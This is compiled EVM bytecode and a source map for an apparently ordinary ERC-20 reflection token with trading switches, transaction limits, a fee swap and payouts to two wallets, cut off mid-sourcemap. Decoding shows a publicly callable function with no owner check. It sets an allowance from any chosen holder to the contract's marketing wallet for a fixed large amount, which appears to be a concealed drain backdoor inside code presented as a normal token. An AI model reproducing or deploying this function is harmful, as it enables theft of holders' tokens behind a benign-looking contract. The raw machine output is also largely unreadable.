3480156102a5575f80fd5b5061027961055c565b3480156102b9575f80fd5b506102796102c83660046115f6565b6105cd565b3480156102d8575f80fd5b50610212600f5481565b3480156102ed575f80fd5b5061027961062a565b348015610301575f80fd5b506003546101e4906001600160a01b031681565b348015610320575f80fd5b505f546001600160a01b03166101e4565b34801561033c575f80fd5b506017546101e4906001600160a01b031681565b34801561035b575f80fd5b50604080518082019091526006815265131191d093d560d21b6020820152610180565b348015610389575f80fd5b50610212600d5481565b34801561039e575f80fd5b506101b56103ad366004611577565b610666565b3480156103bd575f80fd5b506102796103cc366004611611565b610672565b3480156103dc575f80fd5b506016546101e4906001600160a01b031681565b3480156103fb575f80fd5b50610212600e5481565b348015610410575f80fd5b5061021261041f366004611694565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610454575f80fd5b506102796104633660046115f6565b61070f565b348015610473575f80fd5b506102796104823660046115f6565b610729565b5f610493338484610810565b5060015b92915050565b5f6104a9848484610933565b6104fa84336104f585604051806060016040528060288152602001611827602891396001600160a01b038a165f9081526004602090815260408083203384529091529020549190610dbc565b610810565b5060019392505050565b5f546001600160a01b031633146105365760405162461bcd60e51b815260040161052d906116cb565b60405180910390fd5b600f55565b6001600160a01b0381165f9081526007602052604081205461049790610df4565b5f546001600160a01b031633146105855760405162461bcd60e51b815260040161052d906116cb565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105f65760405162461bcd60e51b815260040161052d906116cb565b600c805462ff0000191662010000179055600380546001600160a01b039092166001600160a01b0319909216919091179055565b5f546001600160a01b031633146106535760405162461bcd60e51b815260040161052d906116cb565b670de0b6b3a7640000600d819055600e55565b5f610493338484610933565b5f546001600160a01b0316331461069b5760405162461bcd60e51b815260040161052d906116cb565b5f5b82811015610709578160065f8686858181106106bb576106bb611700565b90506020020160208101906106d091906115f6565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061070181611728565b91505061069d565b50505050565b6017546107269082906001600160a01b0316610e76565b50565b5f546001600160a01b031633146107525760405162461bcd60e51b815260040161052d906116cb565b6001600160a01b0381166107b75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161052d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108725760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161052d565b6001600160a01b0382166108d35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161052d565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166109955760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161052d565b6001600160a01b0383166109f95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161052d565b5f8111610a5a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161052d565b5f546001600160a01b03848116911614801590610a8457505f546001600160a01b03838116911614155b15610cb857600c5462010000900460ff16610b1b575f546001600160a01b03848116911614610b1b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161052d565b600d54811115610b6d5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161052d565b6003546001600160a01b03838116911614610bf257600e5481610b8f8461053b565b610b999190611740565b10610bf25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161052d565b5f610bfc3061053b565b9050600d548110610c0c5750600d545b600c54610100900460ff168015610c255750600f548110155b8015610c345750600c5460ff16155b8015610c4e57506003546001600160a01b03858116911614155b8015610c7257506001600160a01b0384165f9081526006602052604090205460ff16155b8015610c9657506001600160a01b0383165f9081526006602052604090205460ff16155b15610cb657610ca481610e8d565b478015610cb457610cb447610ff4565b505b505b6001600160a01b0383165f9081526006602052604090205460019060ff1680610cf857506001600160a01b0383165f9081526006602052604090205460ff165b80610d2a57506003546001600160a01b03858116911614801590610d2a57506003546001600160a01b03848116911614155b15610d3657505f610db0565b6003546001600160a01b038581169116148015610d6157506002546001600160a01b03848116911614155b15610d7357601054600a55601154600b555b6003546001600160a01b038481169116148015610d9e57506002546001600160a01b03858116911614155b15610db057601254600a55601354600b555b61070984848484611085565b5f8184841115610ddf5760405162461bcd60e51b815260040161052d9190611518565b505f610deb8486611753565b95945050505050565b5f600854821115610e5a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161052d565b5f610e636110b3565b9050610e6f83826110d4565b9392505050565b610e898282670de0b6b3a7640000610810565b5050565b600c805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ecd57610ecd611700565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f24573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f489190611766565b81600181518110610f5b57610f5b611700565b6001600160a01b039283166020918202929092010152600254610f819130911684610810565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fb99085905f90869030904290600401611781565b5f604051808303815f87803b158015610fd0575f80fd5b505af1158015610fe2573d5f803e3d5ffd5b5050600c805460ff1916905550505050565b5f6110006002836117f0565b6016546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015611038573d5f803e3d5ffd5b505f6110448284611753565b6017549091506001600160a01b03166108fc6110608484611740565b6040518115909202915f818181858888f19350505050158015610709573d5f803e3d5ffd5b8061109257611092611115565b61109d848484611142565b8061070957610709601454600a55601554600b55565b5f805f6110be611233565b90925090506110cd82826110d4565b9250505090565b5f610e6f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611272565b600a541580156111255750600b54155b1561112c57565b600a8054601455600b80546015555f9182905555565b5f805f805f806111518761129e565b6001600160a01b038f165f90815260076020526040902054959b5093995091975095509350915061118290876112f3565b6001600160a01b03808b165f9081526007602052604080822093909355908a16815220546111b09086611334565b6001600160a01b0389165f908152600760205260409020556111d181611392565b6111db84836113d8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161122091815260200190565b60405180910390a3505050505050505050565b6008545f908190670de0b6b3a764000061124d82826110d4565b82101561126957505060085492670de0b6b3a764000092509050565b90939092509050565b5f81836112925760405162461bcd60e51b815260040161052d9190611518565b505f610deb84866117f0565b5f805f805f805f805f6112b68a600a54600b546113fc565b9250925092505f6112c56110b3565b90505f805f6112d68e87878761144e565b919e509c509a509598509396509194505050505091939550919395565b5f610e6f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dbc565b5f806113408385611740565b905083811015610e6f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161052d565b5f61139b6110b3565b90505f6113a8838361149a565b305f908152600760205260409020549091506113c49082611334565b305f90815260076020526040902055505050565b6008546113e590836112f3565b6008556009546113f59082611334565b6009555050565b5f808080611415606461140f898961149a565b906110d4565b90505f611427606461140f8a8961149a565b90505f61143e826114388b866112f3565b906112f3565b9992985090965090945050505050565b5f80808061145c888661149a565b90505f611469888761149a565b90505f611476888861149a565b90505f6114878261143886866112f3565b939b939a50919850919650505050505050565b5f825f036114a957505f610497565b5f6114b4838561180f565b9050826114c185836117f0565b14610e6f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161052d565b5f6020808352835180828501525f5b8181101561154357858101830151858201604001528201611527565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610726575f80fd5b5f8060408385031215611588575f80fd5b823561159381611563565b946020939093013593505050565b5f805f606084860312156115b3575f80fd5b83356115be81611563565b925060208401356115ce81611563565b929592945050506040919091013590565b5f602082840312156115ef575f80fd5b5035919050565b5f60208284031215611606575f80fd5b8135610e6f81611563565b5f805f60408486031215611623575f80fd5b833567ffffffffffffffff8082111561163a575f80fd5b818601915086601f83011261164d575f80fd5b81358181111561165b575f80fd5b8760208260051b850101111561166f575f80fd5b602092830195509350508401358015158114611689575f80fd5b809150509250925092565b5f80604083850312156116a5575f80fd5b82356116b081611563565b915060208301356116c081611563565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f6001820161173957611739611714565b5060010190565b8082018082111561049757610497611714565b8181038181111561049757610497611714565b5f60208284031215611776575f80fd5b8151610e6f81611563565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117cf5784516001600160a01b0316835293830193918301916001016117aa565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261180a57634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176104975761049761171456fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e836a7c947e1209ac92d20a22399a3a4d8299202eb4542a1033945a6b4a4d72e64736f6c63430008150033
Deployed Bytecode Sourcemap
4150:12662:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6284:83;;;;;;;;;;-1:-1:-1;6354:5:0;;;;;;;;;;;;-1:-1:-1;;;6354:5:0;;;;6284:83;;;;;;;:::i;:::-;;;;;;;;7207:193;;;;;;;;;;-1:-1:-1;7207:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7207:193:0;1023:187:1;4201:41:0;;;;;;;;;;-1:-1:-1;4201:41:0;;;;-1:-1:-1;;;;;4201:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;4201:41:0;1215:229:1;6707:95:0;;;;;;;;;;-1:-1:-1;4778:21:0;6707:95;;;1595:25:1;;;1583:2;1568:18;6707:95:0;1449:177:1;7406:446:0;;;;;;;;;;-1:-1:-1;7406:446:0;;;;;:::i;:::-;;:::i;6470:83::-;;;;;;;;;;-1:-1:-1;6470:83:0;;4735:1;2234:36:1;;2222:2;2207:18;6470:83:0;2092:184:1;16430:133:0;;;;;;;;;;-1:-1:-1;16430:133:0;;;;;:::i;:::-;;:::i;:::-;;6561:138;;;;;;;;;;-1:-1:-1;6561:138:0;;;;;:::i;:::-;;:::i;3745:148::-;;;;;;;;;;;;;:::i;12769:137::-;;;;;;;;;;-1:-1:-1;12769:137:0;;;;;:::i;:::-;;:::i;5256:53::-;;;;;;;;;;;;;;;;12629:120;;;;;;;;;;;;;:::i;4249:25::-;;;;;;;;;;-1:-1:-1;4249:25:0;;;;-1:-1:-1;;;;;4249:25:0;;;3658:79;;;;;;;;;;-1:-1:-1;3696:7:0;3723:6;-1:-1:-1;;;;;3723:6:0;3658:79;;15796:90;;;;;;;;;;-1:-1:-1;15796:90:0;;;;-1:-1:-1;;;;;15796:90:0;;;6375:87;;;;;;;;;;-1:-1:-1;6447:7:0;;;;;;;;;;;;-1:-1:-1;;;6447:7:0;;;;6375:87;;5137:51;;;;;;;;;;;;;;;;7000:199;;;;;;;;;;-1:-1:-1;7000:199:0;;;;;:::i;:::-;;:::i;16575:234::-;;;;;;;;;;-1:-1:-1;16575:234:0;;;;;:::i;:::-;;:::i;15697:92::-;;;;;;;;;;-1:-1:-1;15697:92:0;;;;-1:-1:-1;;;;;15697:92:0;;;5196:52;;;;;;;;;;;;;;;;6808:184;;;;;;;;;;-1:-1:-1;6808:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;6957:18:0;;;6925:7;6957:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6808:184;11465:96;;;;;;;;;;-1:-1:-1;11465:96:0;;;;;:::i;:::-;;:::i;3899:244::-;;;;;;;;;;-1:-1:-1;3899:244:0;;;;;:::i;:::-;;:::i;7207:193::-;7309:4;7331:39;2384:10;7354:7;7363:6;7331:8;:39::i;:::-;-1:-1:-1;7388:4:0;7207:193;;;;;:::o;7406:446::-;7538:4;7555:36;7565:6;7573:9;7584:6;7555:9;:36::i;:::-;7602:220;7625:6;2384:10;7673:138;7729:6;7673:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7673:19:0;;;;;;:11;:19;;;;;;;;2384:10;7673:33;;;;;;;;;;:37;:138::i;:::-;7602:8;:220::i;:::-;-1:-1:-1;7840:4:0;7406:446;;;;;:::o;16430:133::-;3295:6;;-1:-1:-1;;;;;3295:6:0;2384:10;3295:22;3287:67;;;;-1:-1:-1;;;3287:67:0;;;;;;;:::i;:::-;;;;;;;;;16514:20:::1;:41:::0;16430:133::o;6561:138::-;-1:-1:-1;;;;;6674:16:0;;6627:7;6674:16;;;:7;:16;;;;;;6654:37;;:19;:37::i;3745:148::-;3295:6;;-1:-1:-1;;;;;3295:6:0;2384:10;3295:22;3287:67;;;;-1:-1:-1;;;3287:67:0;;;;;;;:::i;:::-;3852:1:::1;3836:6:::0;;3815:40:::1;::::0;-1:-1:-1;;;;;3836:6:0;;::::1;::::0;3815:40:::1;::::0;3852:1;;3815:40:::1;3883:1;3866:19:::0;;-1:-1:-1;;;;;;3866:19:0::1;::::0;;3745:148::o;12769:137::-;3295:6;;-1:-1:-1;;;;;3295:6:0;2384:10;3295:22;3287:67;;;;-1:-1:-1;;;3287:67:0;;;;;;;:::i;:::-;12841:14:::1;:21:::0;;-1:-1:-1;;12841:21:0::1;::::0;::::1;::::0;;12873:10:::1;:25:::0;;-1:-1:-1;;;;;12873:25:0;;::::1;-1:-1:-1::0;;;;;;12873:25:0;;::::1;::::0;;;::::1;::::0;;12769:137::o;12629:120::-;3295:6;;-1:-1:-1;;;;;3295:6:0;2384:10;3295:22;3287:67;;;;-1:-1:-1;;;3287:67:0;;;;;;;:::i;:::-;4778:21:::1;12681:14;:24:::0;;;12716:15:::1;:25:::0;12629:120::o;7000:199::-;7105:4;7127:42;2384:10;7151:9;7162:6;7127:9;:42::i;16575:234::-;3295:6;;-1:-1:-1;;;;;3295:6:0;2384:10;3295:22;3287:67;;;;-1:-1:-1;;;3287:67:0;;;;;;;:::i;:::-;16692:9:::1;16688:114;16707:19:::0;;::::1;16688:114;;;16782:8;16748:18;:31;16767:8;;16776:1;16767:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16748:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;16748:31:0;:42;;-1:-1:-1;;16748:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;16728:3;::::1;::::0;::::1;:::i;:::-;;;;16688:114;;;;16575:234:::0;;;:::o;11465:96::-;11539:13;;11520:33;;11532:5;;-1:-1:-1;;;;;11539:13:0;11520:11;:33::i;:::-;11465:96;:::o;3899:244::-;3295:6;;-1:-1:-1;;;;;3295:6:0;2384:10;3295:22;3287:67;;;;-1:-1:-1;;;3287:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3988:22:0;::::1;3980:73;;;::::0;-1:-1:-1;;;3980:73:0;;5297:2:1;3980:73:0::1;::::0;::::1;5279:21:1::0;5336:2;5316:18;;;5309:30;5375:34;5355:18;;;5348:62;-1:-1:-1;;;5426:18:1;;;5419:36;5472:19;;3980:73:0::1;5095:402:1::0;3980:73:0::1;4090:6;::::0;;4069:38:::1;::::0;-1:-1:-1;;;;;4069:38:0;;::::1;::::0;4090:6;::::1;::::0;4069:38:::1;::::0;::::1;4118:6;:17:::0;;-1:-1:-1;;;;;;4118:17:0::1;-1:-1:-1::0;;;;;4118:17:0;;;::::1;::::0;;;::::1;::::0;;3899:244::o;8937:369::-;-1:-1:-1;;;;;9064:19:0;;9056:68;;;;-1:-1:-1;;;9056:68:0;;5704:2:1;9056:68:0;;;5686:21:1;5743:2;5723:18;;;5716:30;5782:34;5762:18;;;5755:62;-1:-1:-1;;;5833:18:1;;;5826:34;5877:19;;9056:68:0;5502:400:1;9056:68:0;-1:-1:-1;;;;;9143:21:0;;9135:68;;;;-1:-1:-1;;;9135:68:0;;6109:2:1;9135:68:0;;;6091:21:1;6148:2;6128:18;;;6121:30;6187:34;6167:18;;;6160:62;-1:-1:-1;;;6238:18:1;;;6231:32;6280:19;;9135:68:0;5907:398:1;9135:68:0;-1:-1:-1;;;;;9214:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9266:32;;1595:25:1;;;9266:32:0;;1568:18:1;9266:32:0;;;;;;;8937:369;;;:::o;13173:2473::-;-1:-1:-1;;;;;13295:16:0;;13287:64;;;;-1:-1:-1;;;13287:64:0;;6512:2:1;13287:64:0;;;6494:21:1;6551:2;6531:18;;;6524:30;6590:34;6570:18;;;6563:62;-1:-1:-1;;;6641:18:1;;;6634:33;6684:19;;13287:64:0;6310:399:1;13287:64:0;-1:-1:-1;;;;;13371:18:0;;13363:68;;;;-1:-1:-1;;;13363:68:0;;6916:2:1;13363:68:0;;;6898:21:1;6955:2;6935:18;;;6928:30;6994:34;6974:18;;;6967:62;-1:-1:-1;;;7045:18:1;;;7038:35;7090:19;;13363:68:0;6714:401:1;13363:68:0;13459:1;13450:6;:10;13442:64;;;;-1:-1:-1;;;13442:64:0;;7322:2:1;13442:64:0;;;7304:21:1;7361:2;7341:18;;;7334:30;7400:34;7380:18;;;7373:62;-1:-1:-1;;;7451:18:1;;;7444:39;7500:19;;13442:64:0;7120:405:1;13442:64:0;3696:7;3723:6;-1:-1:-1;;;;;13535:15:0;;;3723:6;;13535:15;;;;:46;;-1:-1:-1;3696:7:0;3723:6;-1:-1:-1;;;;;13568:13:0;;;3723:6;;13568:13;;13535:46;13517:1339;;;13646:14;;;;;;;13641:209;;3696:7;3723:6;-1:-1:-1;;;;;13711:15:0;;;3723:6;;13711:15;13681:153;;;;-1:-1:-1;;;13681:153:0;;7732:2:1;13681:153:0;;;7714:21:1;7771:2;7751:18;;;7744:30;7810:34;7790:18;;;7783:62;7881:33;7861:18;;;7854:61;7932:19;;13681:153:0;7530:427:1;13681:153:0;13882:14;;13872:6;:24;;13864:65;;;;-1:-1:-1;;;13864:65:0;;8164:2:1;13864:65:0;;;8146:21:1;8203:2;8183:18;;;8176:30;8242;8222:18;;;8215:58;8290:18;;13864:65:0;7962:352:1;13864:65:0;13953:10;;-1:-1:-1;;;;;13947:16:0;;;13953:10;;13947:16;13944:162;;14017:15;;14008:6;13992:13;14002:2;13992:9;:13::i;:::-;:22;;;;:::i;:::-;:40;13984:106;;;;-1:-1:-1;;;13984:106:0;;8651:2:1;13984:106:0;;;8633:21:1;8690:2;8670:18;;;8663:30;8729:34;8709:18;;;8702:62;-1:-1:-1;;;8780:18:1;;;8773:33;8823:19;;13984:106:0;8449:399:1;13984:106:0;14122:24;14149;14167:4;14149:9;:24::i;:::-;14122:51;;14284:14;;14264:16;:34;14261:75;;-1:-1:-1;14320:14:0;;14261:75;14356:11;;;;;;;:55;;;;;14391:20;;14371:16;:40;;14356:55;:89;;;;-1:-1:-1;14434:11:0;;;;14433:12;14356:89;:129;;;;-1:-1:-1;14475:10:0;;-1:-1:-1;;;;;14467:18:0;;;14475:10;;14467:18;;14356:129;:176;;;;-1:-1:-1;;;;;;14508:24:0;;;;;;:18;:24;;;;;;;;14507:25;14356:176;:221;;;;-1:-1:-1;;;;;;14555:22:0;;;;;;:18;:22;;;;;;;;14554:23;14356:221;14352:493;;;14612:31;14626:16;14612:13;:31::i;:::-;14686:21;14730:16;;14726:104;;14771:39;14788:21;14771:16;:39::i;:::-;14593:252;14352:493;13593:1263;13517:1339;-1:-1:-1;;;;;14946:24:0;;14868:14;14946:24;;;:18;:24;;;;;;14885:4;;14946:24;;;:50;;-1:-1:-1;;;;;;14974:22:0;;;;;;:18;:22;;;;;;;;14946:50;14945:110;;;-1:-1:-1;15024:10:0;;-1:-1:-1;;;;;15016:18:0;;;15024:10;;15016:18;;;;:38;;-1:-1:-1;15044:10:0;;-1:-1:-1;;;;;15038:16:0;;;15044:10;;15038:16;;15016:38;14927:650;;;-1:-1:-1;15094:5:0;14927:650;;;15175:10;;-1:-1:-1;;;;;15167:18:0;;;15175:10;;15167:18;:52;;;;-1:-1:-1;15203:15:0;;-1:-1:-1;;;;;15189:30:0;;;15203:15;;15189:30;;15167:52;15164:176;;;15259:16;;15240;:35;15311:13;;15294:14;:30;15164:176;15397:10;;-1:-1:-1;;;;;15391:16:0;;;15397:10;;15391:16;:52;;;;-1:-1:-1;15427:15:0;;-1:-1:-1;;;;;15411:32:0;;;15427:15;;15411:32;;15391:52;15387:179;;;15483:17;;15464:16;:36;15536:14;;15519;:31;15387:179;15587:51;15610:4;15616:2;15620:6;15628:9;15587:22;:51::i;538:224::-;658:7;694:12;686:6;;;;678:29;;;;-1:-1:-1;;;678:29:0;;;;;;;;:::i;:::-;-1:-1:-1;718:9:0;730:5;734:1;730;:5;:::i;:::-;718:17;538:224;-1:-1:-1;;;;;538:224:0:o;12263:323::-;12358:7;12416;;12405;:18;;12383:110;;;;-1:-1:-1;;;12383:110:0;;9188:2:1;12383:110:0;;;9170:21:1;9227:2;9207:18;;;9200:30;9266:34;9246:18;;;9239:62;-1:-1:-1;;;9317:18:1;;;9310:40;9367:19;;12383:110:0;8986:406:1;12383:110:0;12504:19;12526:10;:8;:10::i;:::-;12504:32;-1:-1:-1;12554:24:0;:7;12504:32;12554:11;:24::i;:::-;12547:31;12263:323;-1:-1:-1;;;12263:323:0:o;9318:110::-;9389:31;9398:5;9405;4778:21;9389:8;:31::i;:::-;9318:110;;:::o;15895:479::-;5649:11;:18;;-1:-1:-1;;5649:18:0;5663:4;5649:18;;;15993:16:::1;::::0;;16007:1:::1;15993:16:::0;;;;;::::1;::::0;;-1:-1:-1;;15993:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;15993:16:0::1;15969:40;;16038:4;16020;16025:1;16020:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16020:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;16064:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;16064:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;16020:7;;16064:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16054:4;16059:1;16054:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16054:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;16129:15:::1;::::0;16097:62:::1;::::0;16114:4:::1;::::0;16129:15:::1;16147:11:::0;16097:8:::1;:62::i;:::-;16170:15;::::0;:196:::1;::::0;-1:-1:-1;;;16170:196:0;;-1:-1:-1;;;;;16170:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;16251:11;;16170:15:::1;::::0;16293:4;;16320::::1;::::0;16340:15:::1;::::0;16170:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5690:11:0;:19;;-1:-1:-1;;5690:19:0;;;-1:-1:-1;;;;15895:479:0:o;10073:245::-;10134:14;10151:10;10160:1;10151:6;:10;:::i;:::-;10173:15;;:32;;10134:27;;-1:-1:-1;;;;;;10173:15:0;;:32;;;;;10134:27;;10173:15;:32;:15;:32;10134:27;10173:15;:32;;;;;;;;;;;;;;;;;;;;-1:-1:-1;10216:20:0;10239:15;10248:6;10239;:15;:::i;:::-;10265:13;;10216:38;;-1:-1:-1;;;;;;10265:13:0;:45;10288:21;10303:6;10216:38;10288:21;:::i;:::-;10265:45;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7858:332;8022:7;8017:54;;8044:17;:15;:17::i;:::-;8082:41;8097:6;8105:9;8116:6;8082:14;:41::i;:::-;8139:7;8134:49;;8161:12;8258:14;;8239:16;:33;8300:12;;8283:14;:29;8198:122;10555:164;10597:7;10618:15;10635;10654:19;:17;:19::i;:::-;10617:56;;-1:-1:-1;10617:56:0;-1:-1:-1;10691:20:0;10617:56;;10691:11;:20::i;:::-;10684:27;;;;10555:164;:::o;768:132::-;826:7;853:39;857:1;860;853:39;;;;;;;;;;;;;;;;;:3;:39::i;12914:251::-;12964:16;;:21;:44;;;;-1:-1:-1;12989:14:0;;:19;12964:44;12960:57;;;12914:251::o;12960:57::-;13044:16;;;13027:14;:33;13084:14;;;13069:12;:29;-1:-1:-1;13110:20:0;;;;13139:18;12914:251::o;8328:601::-;8472:15;8502:23;8540:12;8567:23;8605:12;8632:13;8659:19;8670:7;8659:10;:19::i;:::-;-1:-1:-1;;;;;8707:15:0;;;;;;:7;:15;;;;;;8457:221;;-1:-1:-1;8457:221:0;;-1:-1:-1;8457:221:0;;-1:-1:-1;8457:221:0;-1:-1:-1;8457:221:0;-1:-1:-1;8457:221:0;-1:-1:-1;8707:28:0;;8457:221;8707:19;:28::i;:::-;-1:-1:-1;;;;;8689:15:0;;;;;;;:7;:15;;;;;;:46;;;;8767:18;;;;;;;:39;;8790:15;8767:22;:39::i;:::-;-1:-1:-1;;;;;8746:18:0;;;;;;:7;:18;;;;;:60;8817:18;8829:5;8817:11;:18::i;:::-;8837:24;8850:4;8856;8837:12;:24::i;:::-;8894:9;-1:-1:-1;;;;;8877:44:0;8886:6;-1:-1:-1;;;;;8877:44:0;;8905:15;8877:44;;;;1595:25:1;;1583:2;1568:18;;1449:177;8877:44:0;;;;;;;;8446:483;;;;;;8328:601;;;:::o;10727:257::-;10825:7;;10778;;;;4778:21;10893:20;10825:7;4778:21;10893:11;:20::i;:::-;10883:7;:30;10879:61;;;-1:-1:-1;;10923:7:0;;;4778:21;;-1:-1:-1;10727:257:0;-1:-1:-1;10727:257:0:o;10879:61::-;10959:7;;10968;;-1:-1:-1;10727:257:0;-1:-1:-1;10727:257:0:o;1160:223::-;1280:7;1315:12;1308:5;1300:28;;;;-1:-1:-1;;;1300:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1339:9:0;1351:5;1355:1;1351;:5;:::i;9436:629::-;9536:7;9558;9580;9602;9624;9646;9682:23;9707:12;9721:13;9751:54;9763:7;9772:16;;9790:14;;9751:11;:54::i;:::-;9681:124;;;;;;9816:19;9838:10;:8;:10::i;:::-;9816:32;;9860:15;9877:23;9902:12;9931:46;9943:7;9952:4;9958:5;9965:11;9931;:46::i;:::-;9859:118;;-1:-1:-1;9859:118:0;-1:-1:-1;9859:118:0;-1:-1:-1;10028:15:0;;-1:-1:-1;10045:4:0;;-1:-1:-1;10051:5:0;;-1:-1:-1;;;;;9436:629:0;;;;;;;:::o;396:136::-;454:7;481:43;485:1;488;481:43;;;;;;;;;;;;;;;;;:3;:43::i;209:179::-;267:7;;299:5;303:1;299;:5;:::i;:::-;287:17;;328:1;323;:6;;315:46;;;;-1:-1:-1;;;315:46:0;;11194:2:1;315:46:0;;;11176:21:1;11233:2;11213:18;;;11206:30;11272:29;11252:18;;;11245:57;11319:18;;315:46:0;10992:351:1;10330:213:0;10385:19;10407:10;:8;:10::i;:::-;10385:32;-1:-1:-1;10428:13:0;10444:22;:5;10385:32;10444:9;:22::i;:::-;10518:4;10502:22;;;;:7;:22;;;;;;10428:38;;-1:-1:-1;10502:33:0;;10428:38;10502:26;:33::i;:::-;10493:4;10477:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;10330:213:0:o;12109:148::-;12188:7;;:17;;12200:4;12188:11;:17::i;:::-;12178:7;:27;12229:10;;:20;;12244:4;12229:14;:20::i;:::-;12216:10;:33;-1:-1:-1;;12109:148:0:o;10992:467::-;11160:7;;;;11254:29;11279:3;11254:20;:7;11266;11254:11;:20::i;:::-;:24;;:29::i;:::-;11239:44;-1:-1:-1;11294:13:0;11310:28;11334:3;11310:19;:7;11322:6;11310:11;:19::i;:28::-;11294:44;-1:-1:-1;11349:23:0;11375:28;11294:44;11375:17;:7;11387:4;11375:11;:17::i;:::-;:21;;:28::i;:::-;11349:54;11439:4;;-1:-1:-1;11445:5:0;;-1:-1:-1;10992:467:0;;-1:-1:-1;;;;;10992:467:0:o;11567:534::-;11761:7;;;;11858:24;:7;11870:11;11858;:24::i;:::-;11840:42;-1:-1:-1;11893:12:0;11908:21;:4;11917:11;11908:8;:21::i;:::-;11893:36;-1:-1:-1;11940:13:0;11956:22;:5;11966:11;11956:9;:22::i;:::-;11940:38;-1:-1:-1;11989:23:0;12015:28;11940:38;12015:17;:7;12027:4;12015:11;:17::i;:28::-;12062:7;;;;-1:-1:-1;12088:4:0;;-1:-1: